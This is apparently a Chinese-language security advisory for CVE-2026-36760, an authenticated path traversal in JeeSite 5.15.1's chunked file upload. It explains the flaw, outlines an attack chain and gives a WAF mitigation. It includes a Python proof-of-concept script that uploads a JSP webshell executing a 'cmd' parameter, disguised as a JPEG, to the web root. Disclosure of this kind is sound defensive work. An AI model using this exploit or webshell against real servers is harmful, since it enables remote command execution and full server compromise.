IPBUF安全漏洞报告
English
CVE-2026-36760 CVSS 9.6 严重

CVE-2026-36760 JeeSite路径遍历导致任意文件写入漏洞

披露日期: 2026-04-30

漏洞信息

漏洞编号
CVE-2026-36760
漏洞类型
路径遍历
CVSS评分
9.6 严重
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
JeeSite

相关标签

路径遍历任意文件写入JeeSite远程代码执行文件上传漏洞

漏洞概述

JeeSite v5.15.1版本中的/a/file/upload接口存在严重安全漏洞。攻击者在开启分块上传功能且具备文件上传权限的情况下,利用fileMd5参数过滤不严的缺陷,可实施路径遍历攻击。这允许攻击者绕过限制,将具有白名单后缀的任意恶意文件写入服务器文件系统的任意路径,可能导致远程代码执行或服务器被完全控制。

技术细节

该漏洞的核心在于JeeSite框架在处理分块上传逻辑时,未对用户传入的`fileMd5`参数进行严格的路径规范化处理。在Java Web应用中,文件合并通常依赖于临时文件名。攻击者通过在`fileMd5`字段中插入`../`路径遍历序列,能够欺骗服务器程序将上传的文件块合并到Web根目录或其他敏感路径下。由于系统仅校验文件后缀是否在允许的白名单(如jpg, png)内,攻击者可以上传伪装成图片的JSP Webshell,或者利用文件包含漏洞覆盖服务器配置文件。一旦恶意文件被成功写入Web目录,攻击者即可通过浏览器访问该文件,从而在服务器端执行任意系统命令,完全控制服务器。此漏洞利用需具备合法的上传权限,且目标服务器需开启分块上传配置。

攻击链分析

STEP 1
1. 侦察与认证
攻击者识别目标系统为JeeSite v5.15.1,并获取拥有文件上传权限的合法用户凭证(JSESSIONID)。
STEP 2
2. 构造恶意参数
攻击者分析/a/file/upload接口,在`fileMd5`参数中构造包含`../`的路径遍历字符串,指向Web根目录或敏感路径。
STEP 3
3. 发送特制请求
攻击者发送包含恶意文件内容和遍历路径的POST请求。系统接收请求后,利用错误的路径逻辑处理文件块。
STEP 4
4. 写入与利用
系统将文件写入指定位置。攻击者访问该URL,若文件为WebShell或可执行脚本,则获取服务器控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit(target_url, session_cookie): # Define the target endpoint url = f"{target_url}/a/file/upload" # Malicious fileMd5 with path traversal to write to web root # Note: The actual file extension might need to match the whitelist (e.g., .jpg) # but the content can be malicious code. traversal_path = "../../webapps/ROOT/shell.jsp" # Headers headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" } # Cookies (Authentication required) cookies = { "JSESSIONID": session_cookie } # Payload data files = { 'file': ('avatar.jpg', b'<%@ page import="java.io.*" %><%Runtime.getRuntime().exec(request.getParameter("cmd"));%>', 'image/jpeg') } data = { 'fileMd5': traversal_path, 'chunk': '0', 'chunks': '1' } try: response = requests.post(url, files=files, data=data, headers=headers, cookies=cookies, verify=False, timeout=10) if response.status_code == 200: print(f"[+] Exploit sent successfully. Check {target_url}/shell.jsp") else: print(f"[-] Failed. Status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") # Usage example # exploit("http://127.0.0.1:8080", "valid_session_id_here")

影响范围

JeeSite 5.15.1

防御指南

临时缓解措施
建议管理员立即检查服务器上是否存在异常文件,并限制用户上传权限。在代码修复前,可通过部署WAF规则拦截包含路径遍历字符(如../)的请求包。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表